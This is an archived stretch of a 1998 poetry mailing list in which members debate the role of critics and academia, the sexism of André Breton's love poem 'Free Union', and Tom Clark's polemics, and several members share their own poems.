>kind of criticism that "Rod Smith's Generation" might need--

Katy, I'm glad you got something out of that essay; he's a snazzy writer. But you don't need a dress-up of Hegel & Marx for the precisely OLD idea (I mean like, old since Greek & Roman times) that the old fogies won't be able to understand the youngsters. Maybe it's just that a card-carrying "youngster" is saying it for you (& insists on harping on the "generation" thing just so you don't forget)... My point was that such advocacy is only a beginning, if anything.

I think you need to open the mental blinders. Critic does not necessarily = "mainstream establishment person out to judge us by outmoded standards of (baloney) taste". That is a cartoon of a critic. In my mind, critic = "somebody who loves poetry enough to dig into it backwards & forwards, past & present, and say something intelligent (if subjective) about the style, mindset, aims, effects, contradictions, connections, strengths, imitations, originalities, meaning, impact, development... etc of what s/he reads". I don't think of standards as a set of hoary rules; I think of standards as the feel of a good ear for syntax, sound, meaning, and complexity. Wouldn't you rather read some of this than various gang-approval ratings, blurbs, or tossed-off empty retchings which pass

for "criticism?" THAT IS ALL I'M SAYING.
>
>***
>> ...I am speaking as a poet who has played
>> by what I consider the rules for over 30 years. My rules are: do the
>> poem. Send it to magazines & contests. Think about what you are doing -
>> maybe write an essay about it. That's it. In my experience "doing
>> the poem" has absorbed the energy. Maybe I am a fanatic, or a hedgehog
>> in Isaiah Berlin's sense, or a totally introverted recluse.
>
>These rules seem to contradict each other, Henry. Sending to mags and
>contests doesn't absorb any energy? Do introverts write lots of essays?
>Send to contests? (Emily--)
>
All I meant was, MOST of my energy (like 98%) goes into DOING the poems
(until I joined this list [sigh]). Does anybody know what I look like?
Seen me gladhanding at conferences? Reading anyplace outside Providence?
Published much? (these are rhetorical questions) Maybe it's because
I only write haiku about buffalo - that could be it. I'm also not a prof,
not a writing teacher, not a grad student, not a novelist, not a journalist,
not a professional poet, not a performance artist; the only wannabee I am
is wannabee out on the road again with my guitar - but then I really would
have to be running from the law. Ask Jack about that.

> *It seems to me that "taste, judgement, freedom, and artistic instinct" are also forms of baloney.*

Yes, the word "taste" always leaves a bad taste in the mouth. I like baloney better myself. But judgement, freedom, artistic instinct... there they go now, off to the next reality... all words become dust through repetition... anything can be turned into a joke... "the laughter of fools is like fire crackling under a pot" [Proverbs]. - Henry Gould

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141. David Zauhar
Re: task of criticism
Wed 4 Feb 1998

On Wed, 4 Feb 1998, David Kellogg wrote:
> Funny, I have been teaching _Spring and All_ this week and last, and reading
> it again (along with its Dada contemporaries) has reminded me of some of the
> multiple places language poetry comes from.

Coincidently, speaking of Dada, it was on Feb 5 1916 that Hugo Ball noted in his diary that the very first evening at the brand new Cabaret Voltaire was a tremendous success. 82 years and it seems like only. . . etc etc.

re: Don Byrd's note that many of us younger folks don't know Elder Olson: actually, I'm quite familiar with the name: he's the guy many of the old-timers in various EngDepts I have known thought I was referring to when I mentioned Charles Olson. Leads to some interesting miscommunications when two people start talking about poetic form and one is talking about El and the other Chas Olson.

Dave Zauhar

↑ Index

142. Karen Kelley
Re: Love Poems
Wed 4 Feb 1998

My respose is much like Linda Russo's: I love the poem, and I love Breton, but if someone gave it to me (how long were you dating?) I might get that uh-oh,-he's-gonna-make-me-a-muse feeling, which is awfully constricting.

I don't think she reacted to its being "out there" (she didn't mind Coolidge), so much as she might have been unable to understand how you saw HER in relation to the text (geez, why'd he give me _this_???). Haven't you noticed that when you give someone (esp. a lover) a poem, they read it like there's a secret message inside?

I love Breton, but what is it about him that's so creepy? I think perhaps it's his sense of entitlement.

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143. Don Byrd
Re: task of criticism
Wed 4 Feb 1998

Jonathan MAYHEW wrote:

> *One of those people who are not "real" academics because they are still pure of heart.*

There are no really happy places for poetry right now. When I was at the University of Kansas, Jonathan, John Fowler (the editor of R/ft) ran a wonderful book store a few doors down from the Student Union (in fact, next door to where "the Great White Dog of the Rock Chalk" in Ed Dorn's poem "wandered through the door of Western Civilization,") and then John Moritz ran one next

door to the old Rock Chalk Cafe itself, a little further down Oread Avenue, and when Caterpillar or Io would come in the poets would gather and talk far into the night. Happily there were people like Ed Grier and Roy Gridley, great scholars of Whitman and Browning and great readers of contemporary poetry, who would let me write a dissertation about Charles Olson. Most of the faculty was not clear about the difference between Charles Olson and Elder Olson (a name that will be familiar to elders on the list at most).

To be sure there are some hiding places. Higher education, after all, is a huge enterprise; one will find a little of every thing. But the University as an institution has never been a happy place for poets. Some legendary member of the Harvard English department, once asked if there were any poets in the department, replied, "They don't have elephants in the zoology department, do they?" Some version of this attitude continues to prevail.

In all this talk of criticism, there have been few examples of good criticism. I would like to recommend Jed Rasula's _The American Poetry Wax Museum: Reality Effects, 1940-1990_. The writing is dazzling, the knowledge of the field encyclopedic, the judgements, as far as I can see, honest and fair. It will make clear why there is so little really good criticism: there simply aren't many people who know the field. Something of this order is required if you are going to have a real criticism.

Rasula's book is published by a quintessentially academic publisher, The National Council of Teacher's of English. How does it change our judgement of the book that he is also the author of one of the most original books of poetry of the last 20 years? _Tabula Rasula_. I believe he is preparing now another manuscript of poems for publication. It has been 13 years since the last one. Of course, this is not the way to build a career as a poet, but is it a reasonable way for a poet to go about his or her work?

It is interesting to note T.S. Eliot published only a little over 200 pages of poetry, some of it fairly slight. Whitman and Stevens both well less than 600 pages. Pound, Williams, and HD wrote big chunks of their more substantial oeuvres after they were 60.

Don

--
****

Don Byrd (□□□□□, □□□□□□)
Department of English
State University of New York
Albany, NY 12222
□□□□□□□□□ (work); □□□□□□□□□□ (home); □□□□□□□□□□ (fax)

The Little Magazine (http://www.albany.edu/~litmag/)
****

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144. **Daniel Zimmerman**
Re: Love Poems
Wed 4 Feb 1998

Pat,
Does your change in estimation re Breton's poem reflect what you said earlier, i.e., that

"one of the big differences between French feminism and American feminism, as I understand it: that the former is more philosophically-driven, the latter more politically-driven"

??

& if so, how? Do you [if you do] shrink a bit from Breton now more for political or for philosophical reasons? How do you feel about the widening of the gap between American & French feminisms?

--Dan Zimmerman

pritchpa wrote:
>
> yes - I think DeBeauvoir objected to Breton's romanticism on more or
> less the same grounds: woman as object of mystical infatuation and
> reverie. Though I confess I was much taken with this poem when I was 21.
> And I sympathize with Robert Hale. The best thing to do is to give
> someone your own poems, I think. Then if those are rejected, you can
> have a great time getting drunk and feeling gloriously bitter (not that
> I'm making light of yr situation...). My first wife thought my poems
> were crap - and she was probably right, but she was also very harsh. My
> second wife loves them - but then, I've improved somewhat. In the
> interim between them, such offerings were usually met with baffled
> silence and/or polite horror.
>
> Patrick Pritchett
> ----------
> From: linda russo
> To: [redacted]
> Subject: Re: Love Poems
> Date: Wednesday, February 04, 1998 5:20AM
>

> agreeing w/ chris s., it is a great poem;
> speaking as a particular woman (which the response depends on)
> i think i'd mixed messages if it were sent to me.
> it is not just a sexist poem, but an imperialistic poem
> i don't think anyone want to be referred to as "my woman"
> (maybe an under-30's understanding of this) But to be "my
> woman with" -- especially when "my woman's" (and not at all
> "my"/mine) attributes are all physical -- so exposed, granted
> no privacy, no complexity, no emotion -- at least not any
> autonomous privacy, complexity, emotion. Made
> HIS mystery only, inspiring his emotions,
> descriptions (& yes some amazing language)
> but that's all. its sort of like a vivisection
>
> & on the other side of it -- a response might
> be to the hyperbole of it -- which of course makes
> it an amazing poem, but not so much a flattering
> set of utterances.

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145. **maz881**

missing gens, maria's q &c.

Wed 4 Feb 1998

Linda Russo wrote: <<I want to have all that stuff in place -- a history of writing, not just men writing (re juliana's point abt langpo-originary tales) -- "annals" to turn to & i don't want to "discriminate" by only writing about or reading women -- >>

there is one other myth to help put stuff in place
re the origins of langpo,,, and which complicates
juliana's orginals somewhat:

bruce andrews and charles bernstein were in bernadette
mayer's st marks seminar in the 70s and learned all their tricks
(except their penchants for grabbing power
and engaging in heterosexual monogamy)
from her. Later they were "mean" to her
and either excluded her from being a language poet
or else were remiss in acknowledging that they
learned everything from her. Ange Mlinko brought
this up on the list some time back and Charles Bernstein

responded with a forceful denial. Now they
are doing the macarena.

Bill Luoma

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146. **david bromige**
Re: simon schuchat, response to b on c
Wed 4 Feb 1998

Simon, just want to be clear in front of the List that you do not intend your gdneral complaint re the cyclical irrational anti-Tom Clark eruptions to apply to my careful posting re the contradictions in his poetry and his criticism. If my post struck you as emotional, I hope you also saw the evidence of what aroused it: the mis-use of Brecht and the 'one-law-for-me-another-for-you' tenor of those of his poems provided to the List by his fans.

You might want to look at Clark's article "Stalin as Linguist." It's in a Partisan Review for 1987, no doubt in a library near you.

On the other hand, if you wish to retain the obviously sunny portrait you have of Tom Clark, you might not.

For me, it is an issue of the mis-use of language by a person whose abilities should know better, a person in a position to unjustly affect for the worse the condition of current poetry, thus,sooner or later, society and knowledge.

It has nothing to do with Tom Clark's person, for who has not basked in his sunny charm, noted his nifty ability to hear _le dernier cri_ , or been taken with his fetching ways? I still recall our first meeting--it happened on the beach at Bolinas, in the late 60's. My wife and I were being lectured (in a kindly way) by Margot Patterson Doss, doyen of guided walks, on the varieties of pebble that make up that beach, agates of several kinds, etc. Tom Clark meanwhile had appeared, accompanied by Lewis Warsh and, I think, Joanne Kyger. Getting into the spirit of things very nimbly, Tom Clark pointed to a pair of large tires among the flotsam and cried, "Two Nymphomaniacs!" --revealing himself already aware of the trouble with signifiers that was to be the bread-and-water of a generation.

So please do not put the cart before the horse where I am concerned. Address the issues I have raised first, if you please, before broadcasting fire-retardant. Because, even though many of us are fond of Tom, it is not impossible, is it, that so rugged an Outsider might cut a few corners in his zeal to see justice done, whether west or east of the Pecos? Corners dear to those of us who prize reason, language, poetry, truth and justice every bit as much (well, nearly) as Clark himself? David Bromige.

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147. Robert Zamsky

Re: "Indie Critics," Evans, Rod Smith, baloney--

Thu 5 Feb 1998

I've been itching to say something in response to many of the representations of criticism/academia as some sort of vile enterprise that lives a sort of parasitic life off of the "real" importance of poetry. On the one hand, my response goes something like: hogwash. All of us critics get into the game because of the great pay and fantastic cultural clout allotted to literary critics? Please... come on. Whether or not you agree with someone's aesthetic or critical perspective, the fact is that every academic I know gets into it because of a love for the work. I mean, if we were truly opportunists, you'd figure we'd go after something with some kind of material reward.

Which gets me to the second of probably many hands. I couldn't agree more with Henry Gould:

I think you need to open the mental blinders. Critic does not necessarily = "mainstream establishment person out to judge us by outmoded standards of (baloney) taste". That is a cartoon of a critic. In my mind, critic = "somebody who loves poetry enough to dig into it backwards & forwards, past & present, and say something intelligent (if subjective) about the style, mindset, aims, effects, contradictions, connections, strengths, imitations, originalities, meaning, impact, development... etc of what s/he reads". I don't think of standards as a set of hoary rules; I think of standards as the feel of a good ear for syntax, sound, meaning, and complexity. Wouldn't you rather read some of this than various gang-approval ratings, blurbs, or tossed-off empty retchings which pass for "criticism?"

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148. Harold Rhenisch

Fwd: call for sound work

Thu 5 Feb 1998

> *From the British Poets List.*

Thought it might be of interest here.

Harold Rhenisch

[redacted]

***

The (Corsican) magazine Doc(k)s[sous rature]

is calling for work, in preparation of a special issue:

"Sound, Voices, sousRature(Poetry)"

"Laut, Stimmer, sousRature(Dicht)"

"Suoni, Voci, sousRature(Poesia)"

"Sons, Voix, sousRature(Poesie)"

"Lyd, Stemmer, sousRature(Dikt)"

to be published on CD

Material accepted

of about two minutes duration

on audio tape cassettes, aiff files, syquest (44/88 Mb), zip, Mac & PC

Floppies.

&/or

image files, texts, theory, etc.

to:

Ph. Castellin / Jean Torregosa

Akenaton - Doc(k)s

12 Cours Grandval F Ajaccio 20 000

Corsica, France

Tel 95 21 32 90, Fax 95 21 32 90

email: [redacted]

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149. david bromige

safdie on bromige on clark

Thu 5 Feb 1998

Joe, I wish I'd had the education you had! You got Jung's theory of Projection in the fifth grade?! I didn't get it till I'd left high school, and then, I only got Freud's. I was beginning to suppose I'd lost my ability to make matters plain, but now I see it is the gap in our educations that is causing us trouble. I guess if I'd heard about Projection when I was in knee-pants, it would be old hat to me as well by now. Whether it contained a grain of truth or not, I'd have put it away along with other childish trifles. I see that, for readers weary of zykoanal-ysis, those of us still trapped in the shadow of Mitteleuropa are worse than nerds in lederhoesen. I dunno--I just can't help myself! I keep hearing echoes of

what isn't made explicit, in the words people use! In all that's Yin, I sniff some Yang : all that's Yang, some Yin. (Getting closer to Jung, now). Face-value is only one way I take people! You mean that Chuck Hurwitz really would have returned me $100 for every $1 I invested? You mean money isn't shit, thick rich warm doo-doo forevermore? You think that someone else's poem means exactly what you say? To another? You think when I told my wife I was having trouble understanding stale myth, that wasn't a Freudian slip?

In another vein, I know that there's no end to reading, where poetry and other human behavior goes, not for me, and you can well believe it makes me not easy to live with. So I should probably shut up. But I probably won't. It was nice of you, Joe, to ask me and my wife to go to the Fair with you, in Seattle. I hope Poetry isn't going to come between us like the Rock of Gibraltar--I'd sooner it came between us like a scrabble game. David

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150. nico vassilakis
A Short Lived Fontanel
Thu 5 Feb 1998

---

the formalities
of receiving
I think

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151. Robert Hale
Re: Love Poems
Thu 5 Feb 1998

Interesting in most of the responses, and I thank all who volunteered advice/criticism (Chris Stroffolino, Linda Russo, Doug Powell, Karen Kelly), is the notion of the great/good poem that everyone seems to love/like, yet must read a bit tougher (sexist, imperialist) for legitimate personal/political/identity reasons, especially in the context in which I was presenting it. That's a weird sensation and maybe that's what is so ultimately disconcerting about the poem and the manner in which it engages or alienates the reader. Critiquing surrealist poetry is like critiquing film a la Christian Metz, how do you effectively critique something you love/hate, the imaginary signifier. There is a tremendous transference there, which explains my inability to see the poem as anything other than something for her, even though I was well aware of its political risks. Also, what happens to the language when it's delivered as such a message? -- the route as part of a text "loved" when isolated, packed and unpacked, yet trouble-making when delivered?

Someone suggested that something besides the poem caused the breakup. Not true. And I like (a strange word here) the idea that a poem can be that powerful, even if it results in a loss. (I guess I am a weirdo) She wrote me a letter, by the way, which eluded to the poem as an indication that I felt more passionately for her than her for me therefore we must end. There was no mention of offense, though it may have been sublimated in some way, which is why I posted the list.

I wrote some love poems (as some of you suggested), but there is nothing like a Breton love poem, and it is a love poem, contrary to opinion, very complicated, I think, and emotional (whatever these words mean), all these things in a very exterior, and arguably, male way. Concrete obscurity (O'Hara) -- probably not the best thing for a relationship.

Bernardette Mayer has some great love poems. I'll send her's from now on. (But I won't stop sending Breton). She introduced me to the Coolidge love poem, which I'd never read in that way. I feel better.

At 03:30 PM 2/4/98 -0600, you wrote:
>yes - I think DeBeauvoir objected to Breton's romanticism on more or
>less the same grounds: woman as object of mystical infatuation and
>reverie. Though I confess I was much taken with this poem when I was 21.
>And I sympathize with Robert Hale. The best thing to do is to give
>someone your own poems, I think. Then if those are rejected, you can
>have a great time getting drunk and feeling gloriously bitter (not that
>I'm making light of yr situation...). My first wife thought my poems
>were crap - and she was probably right, but she was also very harsh. My
>second wife loves them - but then, I've improved somewhat. In the
>interim between them, such offerings were usually met with baffled
>silence and/or polite horror.
>
>Patrick Pritchett
> ----------
>From: linda russo
>To: [redacted]
>Subject: Re: Love Poems
>Date: Wednesday, February 04, 1998 5:20AM
>
>agreeing w/ chris s., it is a great poem;
>speaking as a particular woman (which the response depends on)
>i think i'd mixed messages if it were sent to me.
>it is not just a sexist poem, but an imperialistic poem
>i don't think anyone want to be referred to as "my woman"
>(maybe an under-30's understanding of this) But to be "my

>woman with" -- especially when "my woman's" (and not at all
>"my"/mine) attributes are all physical -- so exposed, granted
>no privacy, no complexity, no emotion -- at least not any
>autonomous privacy, complexity, emotion. Made
>HIS mystery only, inspiring his emotions,
>descriptions (& yes some amazing language)
>but that's all. its sort of like a vivisection
>
>& on the other side of it -- a response might
>be to the hyperbole of it -- which of course makes
>it an amazing poem, but not so much a flattering
>set of utterances.
>
>

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152. Rachel Levitsky

Love Poems

Thu 5 Feb 1998

Dear ROBERT

From my P.O.V. as a "female desiring subject" -- my guess would be the "buttocks of sandstone and asbestos" reference is what did you in. In the late 20th century it's beyond kinky, it's proven cancerous. And never rely on the wedding date aura as meaningful toward longevity--it's a proven ruse.

So here's my Valentine offering for the love lorn:

Thirst
    for Jennifer

A poem does not exist until it is written.
The reader experiences it's newness, as
Discovery, the next moment, the same
Poem is ancient, having always been known, somewhere,
Somewhere central.
Needed.
Like this:
The lover does not exist until she has come into view as
Revelation Creation
You need her--though you've
Never seen her before,
Never possessed her. Once
Excavated, she is permanent,

In your thoughts, the seeing you do
in your head. A terrific thirst
Accompanies moments
Without her. It is
At once delicious and horrible.
Delicious hope: this thirst will eventually be relieved;
Horrible what you know: what is possible, or probable:
Eternity of no resolve

All my best Valentine wishes to all

R D Levitsky

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153. John Tranter
Breton's woman, Breton's poem
Thu 5 Feb 1998

I think Robert Hale ran into trouble with this line from the André Breton poem:

"My woman with her calves of elder tree pith"

Where I come from, a remark like that can get a fellow into trouble.

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154. Daniel Zimmerman
Re: Love Poems
Thu 5 Feb 1998

---

linda russo wrote:
>
> > Correction: for "Rache" substitute "Linda Russo".
>
> isn't this just the whole problem with Breton (& Donne & Plutarch for
> that matter?) ? ! ?
> sorry -- i couldn't resist
> ... but not to overlook "My Woman" &
> its fill-in-the-blank functionality
> the male reader consigning
> to himself the fantasy of ownership;
> -- in the blazon enough parts will the anonymous (female) body make.

Oh, well, I can't resist either: does the phrase "my man" resonate? Do women never act as if "their men" belong to them? Never exhibit possessiveness, or objectify? Never fantasize ownership? Does the assumed [male-only] delight in

female body parts have a counterpart in women? {"What do women want?" asked Freud] Do women desire/delight in/ objectify some aspect of men whose 'wholeness' somehow makes their appetites acceptable? ["I want your baby"?] A woman, in marriage, has traditionally taken her spouse's _name_! [All part of a male plot of ownership, no doubt, but long an object of desire by [poor, misled, victimized?] women...

I like the Breton as a poem. Does anyone know a poem by a woman about a man which reveals a female perspective as starkly as Breton's seems to reveal a male's?

Dan Zimmerman

↑ Index

155. **Maria Damon**
Re: Uh,
Thu 5 Feb 1998

---

herb rites:

We also don't all agree that Barrett Watten is the living
embodiment of Shakespeare, Dante, and Homer.
***

we don't?
i want my money back.

↑ Index

156. **David R. Israel**
Re: Love Poems
Thu 5 Feb 1998

Interesting discussion / problem / question, Robert.

Pablo Neruda has many (seems to me) kindred poems. One wonders to what extent they may sometimes conjure similar (to those noted, briefly, on list) reservations. Octavio Paz, I guess, wrote sometimes in a not dissimilar manner, but not I think so diehard & prolix as Neruda. I guess his *Twenty Love Poems & a [whatever it was]* (translated by WS Merwin long ago) are just a few of the many. Such poetry gives unembarassed voice to the textures of subjectivity. Such things can, however, prove embarassing, esp. if not cushioned by some sort of usefully abstracting cultural context. Troubadorian cultures are very distant from 90s film & t.v., and it can be hard to find a route of communication between the twain. From vantage of the latter, for former can seem madness / danger. Vice versa presumably?

Love & aculturation-problems.
Difficulty of arriving at shared language?

So much depends upon a red herring.

d.i.

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157. daniel bouchard
Re: a posting to poetics (late)
Thu 5 Feb 1998

PAX

I make a pact with you, Ron Silliman--
I have admired your poems long enough.
I come to you as a prodigal pup;
Weaned at a dozen fat anthologies.
I am old enough now to make an end.
Whitman broke the new wood,
Pound put in time to carving.
We watch the blasted stumps in the open fields
Leak black ink of American grain.

I make a pact with you, venerable LangPoets--
I have invested in your works long enough.
I look back at you as a honorable bunch
Laying new asphalt over the old roads;
I am old enough now to map an end.
It was you who splintered the carved wood,
Now it is time for recycling.
We have a cool climate and a rich soil--
Don't let the mulcher come between us.

I make a pact with you, my contemporaries--
For to know you better there is time enough.
I come to you with no gifts
But that of mutual comradeship;
I am ready to make friends.
Look around us at all this damned wood,
It is time to sort out what you want.
We have glasses of water nursing new roots--
Let there be communication between us.

--daniel bouchard

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<<

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158. **David R. Israel**
Re: The task of criticism
Thu 5 Feb 1998

Mark P.(@lanta) -- good points. --

> *. . . . . This has to be said once*
> *and for all, because there seems to be an awful lot of confusion*
> *wafting around about it: choosing to do poetry *removes* a person*
> *from the capitalist cash nexus in most respects. I try hard to see*
> *this as a positive thing, like bohemians of old. but there's no*
> *getting around it: it's a deeply destructive and painful thing.*
> *People find it very hard to live. A few mainstreamers get grants,*
> *etc., but in general there is no connection between material gain,*
> *comfort, the capitalist marketplace in any usual recognized sense,*
> *and poetry. This is *very* different from music, mainstream*
> *narrative fiction, the visual arts to an extent, the performing art*
> *activities to a large extent. >>*

by the by, there's a fine essay exploring this topic (strewn w/ some facts & figs) by Sam Hamill in his essay-book, *The Poet's Work*.

While I've not followed the Gould/Wallace debate in all particulars, Mark's recent decent self-defense gives pause. That he's involved in & engaged w/ poetry that he likes because (truth to tell) he really likes it, seems clear to the point of near-unarbuability, to anyone who's attended even a sporadic few of the numerous & proliferous local readings he's forever organizing & promoting here in DC.

I don't think Henry's notion of the indie-critic is necessarily a bad one necessarily. On the other hand, I've certainly noted, in music, that the really good critical writers usually don't distance themselves socially from the subjects of their enthusiasm. Even if they are (often) frustrated composers taking up the critic garb -- Kyle Gann (of Village Voice fame) being a good instance.

Engagement with the creative work of one's time needn't preclude various forms of engagement with the makers thereof; in fact, the idea of objective standards -- the book are pure object sans personal tegument -- seems a weird one in some respects. For whom is the writing written? (Possibly, a few friends?) A glance back at the history of poetry suggests this has many a worthy precedent.

stray thoughts

d.i.

```
 .
 .....
 ............
 \\\\
```

> *I think Robert Hale ran into trouble with this line from the Andre Breton poem:*
>
> *"My woman with her calves of elder tree pith"*
>
> *Where I come from, a remark like that can get a fellow into trouble.*

All this puts me in mind of "the song of songs, which is Solomon's." What sort of reaction did he get with lines like "thy hair is as a flock of goats, that appear from mount Gilead. Thy teeth are like a flock of sheep that are even shorn, which came up from the washing . . ."

Were ruminants sexier in those days?

Rachel Loden

↑ Index

161. Tom Mandel
simon on "stalinism?"
Thu 5 Feb 1998

Simon S. refers to (whose?) "constant harping on the Hitlerian or Stalinist methodology of TC" (Tom Clark) as "a little grating." ..."if TC, in either the Poetry Flash or Partisan Review or whereever, used Stalinist argumentation, ...it doesn't further anyone's understanding to use it back at him."

Pointing out that he used it is using it back at him?

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****

Join the Caucus Conversation

↑ Index

162. Tom Mandel
sigh, yikes, forget it...
Thu 5 Feb 1998

Dale Smith says I accused Tom Clark of being a fascist. That's asinine. I don't even know the man.

Dale also says Tom Clark "addresses a herd-like behavior among a certain group of poets at a particular moment in time" (viz. in his essays titled "Stalin As Linguist").

Here, the way people so often do in arguments, Dale makes my point for me.

There was no herd-like behavior, Dale. Yet you refer to it as literal fact, a literal fact that Tom Clark "addresses."

Finally, you accuse me of an ad hominem argument. No, Dale: when you call David Bromige a "sniveling something or other" (sorry, can't remember what) *that* is ad hominem. When I say Tom Clark appropriated words Bertolt Brecht used against fascism to use them against language poets, thereby subtly conflating language poets and fascism, that's analysis.

And, in an even more final finality, here's some advice: the more you "defend" Tom Clark in this instance the more trouble you cause his name. He said what he said, and time and readers establish the value of the work and people he slammed. Pointing to pile of dogshit on the floor and saying "lookat them rare white truffles" may be satisfying to you, but it's no help to the hound. Better you cite work of his you like. I used to like his book _Stone_ very much (I hope I'm rightly remembering the title -- esp. as I can see the cover of the book in my mind!) and his book made entirely from the vocabulary of Neil Young lyrics (name of that?).

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****

Join the Caucus Conversation

↑ Index

163. **Henry Gould**
Re: The task of criticism
Thu 5 Feb 1998

On Thu, 5 Feb 1998 09:05:19 -0500 David R. Israel said:
>
>I don't think Henry's notion of the indie-critic is necessarily a bad
>one necessarily. On the other hand, I've certainly noted, in music,
>that the really good critical writers usually don't distance
>themselves socially from the subjects of their enthusiasm. Even if

>they are (often) frustrated composers taking up the critic garb --
>Kyle Gann (of Village Voice fame) being a good instance.
>
>Engagement with the creative work of one's time needn't preclude
>various forms of engagement with the makers thereof; in fact, the
>idea of objective standards -- the book are pure object sans personal
>tegument -- seems a weird one in some respects. For whom is the
>writing written? (Possibly, a few friends?) A glance back at the
>history of poetry suggests this has many a worthy precedent.

All right, Israel, I'll chill out on my standards a little. If you're a critic, you can meet poets or other critics during daylight hours in non-alcoholic snack bars. You can write your own poetry, but only for translation (by a non-friend) into Navajo. (Did anyone see the obituary for the Navajo artist - 90 yrs old - who was a Navajo code-talker in WW II? Did you know that the general who was part of the battle of Iwo Jima said the battle could not have been won without frontline Navajos relaying strategy in Navajo code? This in spite of the fact that most of them were punished severely all through public school for speaking Navajo - outlawed on school premises? Everything that rises must converge.)

Somehow I get the feeling some people just are never going to get it. I don't know what they do when they stand up or sit down to write. Do you know why "poetry" AND "poetry business" are utterly disdained - derided - the dudville of American culture? Precisely because poets ARE SO AT HOME IN LANGUAGE THAT THEY FAIL TO RECOGNIZE HOW SERIOUSLY NON-WRITERS TAKE THE WORD - ESPECIALLY THE WRITTEN WORD. IN THEIR LITTLE ARTY-FARTY CLUBS THEY'RE PLEASED AS PUNCH IF SOMEBODY THEY KNOW LIKES WHAT THEY HAVE WRITTEN. YOU SHOULD TRY TO UNDERSTAND WHAT WRITING IS LIKE FOR A JUDGE WRITING A DECISION OR A LAWYER WRITING A LEGAL BRIEF OR A REPORTER DESCRIBING A SITUATION. YOU SHOULD HAVE A SENSE OF PRIDE IN YOUR WORK SO THAT IT STANDS APART FROM YOUR SOCIAL RELATIONSHIPS. PARADOXICALLY, THIS IS THE ONLY WAY THAT CRITICISM (& POETRY) CAN BECOME A TRULY COMMON GOOD RATHER THAN AN IN-JOKE. SAM HAMILL & HIS ILK WHO WRITE ABOUT POETRY AS A SPECIAL BREED, A CALLING APART, A HOLY CLAN OUTSIDE THE PHILISTINE WORLD (IF THIS AS ISRAEL IMPLIES IS THE GIST OF IT) ARE SIMPLY PIMPS FOR A SUBCULTURE. POETRY IS NOT A SUBCULTURE. - Henry Gould

p.s. you think the idea of objective standards is weird. Even weirder is the fact that lines from the Bible keep coming to me unannounced during this thread. Like: "You are the salt of the earth. If salt has lost its taste, how shall its saltness be restored? It is no better than to be thrown out & trampled underfoot by men. Have salt among yourselves, and be at peace with one another." Or how

about this one (paraphrase from inexact memory): "And what shall you give for your soul? Beware that you gain the whole world and lose your own soul."

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164. Pierre Joris
Re: Love Poems
Thu 5 Feb 1998

---

well, now that stroff has flushed me out as teaching twisted love poems like Breton's, let me submit this: in French it's of course "ma femme" — the translation I use is Antin's which says "my woman" -- but there exists another more recent one that tries to p.c.fy (I guess, or else legalize the free union) the poem by translating "ma femme" as "my wife." Does that make any difference?

Breton was, is, a marvellous poet -- he was also a tyrannical and masterful _leader maximo_ of surrealism (for all you younglings who feel that langpo was/is somehow an imposition on the landscape, check out how avant-garde groups were run -- and who was run out of town -- when Breton was waging his poetry wars -- langpo, in comparison, is a charitable organisation) and he was — ugh, o tempora, o mores, if I still have some pig-Latin — a male chauvinist pig of the first order, even if that poem was adressed to his legal spouse.

linda russo wrote:

> *Correction: for "Rache" substitute "Linda Russo".*
>
> *isn't this just the whole problem with Breton (& Donne & Plutarch for that matter?) ? ! ?*
> *sorry -- i couldn't resist*
> *... but not to overlook "My Woman" &*
> *its fill-in-the-blank functionality*
> *the male reader consigning*
> *to himself the fantasy of ownership;*
> *-- in the blazon enough parts will the anonymous (female) body make.*

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
— La Rochefoucauld
==========

↑ Index

165. Herb Levy
Re: Response to Bromige on Clark & Ambiguity
Thu 5 Feb 1998

> *Joe Safdie wrote:*
>
> *(But Herb! I*
> *don't agree that David is here responding to my "interpretation" riff at*
> *all! Perhaps it's just too late, or I'm too dense . .)*

& my ill thought-out & petty response to this went out without re-reading, something I try not to do. This resultied in a lack of the usual, what's the word I was just reading it the other day, here it is, gentility for which this list is justly known.

My apologies to Joe, & to any other readers who wasted their time on it.

The excuse, or better, the occasion for my poorly conceived post of is the beginning of tax season, when there's (finally) a little too much work.

Gotta go. & now, back to the decorum you're used to on the poetics list.

Bests,

Herb

Herb Levy
[redacted]

↑ Index

166. Mark Prejsnar
Re: task of criticism
Thu 5 Feb 1998

On Wed, 4 Feb 1998, Dale M Smith wrote:

> *University press publications by Perelman, Bernstein et al are part of the problem addressed. Critics parading as poets parading as... The American academy stinks and has stunk from day one. That it is somehow sympathetic to langpods reveals how bankrupt their project has become. It's a bore all*

Er....this is obviously some new meaning of the word "sympathetic", of which I was previously unaware.

As for bankruptcy, Dale, people who live in glass poetics....

Mp

↑ Index

167. Mark Prejsnar
Re: Love Poems
Thu 5 Feb 1998

I think it rasies real and interesting issues, the Breton poem; and as Linda Russo has said, it has plenty of good points, which makes its sexism all the more disquieting (and productive to think about...) Of course on one level this is very *standard* sexist belittlement for the period. However it's also very much part of a standard repertoire of images that the core Surrealist poets loved. In the last few days I've been glancing at Eluard for the first time in a while, and it sure is very close to his love poems. In interesting contrast to Breton and Eluard, take a look at Rene Char. He doesn't use such (interesting but) uniform and boilerplate imagery...AND when he addresses a woman there is much more complexity of tone; the imagery is more unexpected and not quite as likely to be a 1920's update of Petrarchian list/sonnet modes.

In one sense, the problem is inherent in the Surrealist belief in sensory imagery (mostly, visual imagery) as the basis of poetry. But that makes the problem harder to ignore, it's not the source of it..The source of it is patriarchal politix.

Rereading all of this it sounds pretty harsh; I'd never give my woman-friend this particular poem, but..I certainly see the appeal of its energy, and slightly transgressive boldness. All of which were more startling and bracing when the poem was written, than in today's culture. I know feminist women who while they'd be amused at the archaic objectifying attitudes in the Breton would also appreciate its force as poetry and not be expecially offended by it. But that it would be fairly disturbing to a woman doesn't much surprise me...It's moderately disturbing to me.

Mark P
@lanta

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168. Gwyn McVay
"*My man*"
Thu 5 Feb 1998

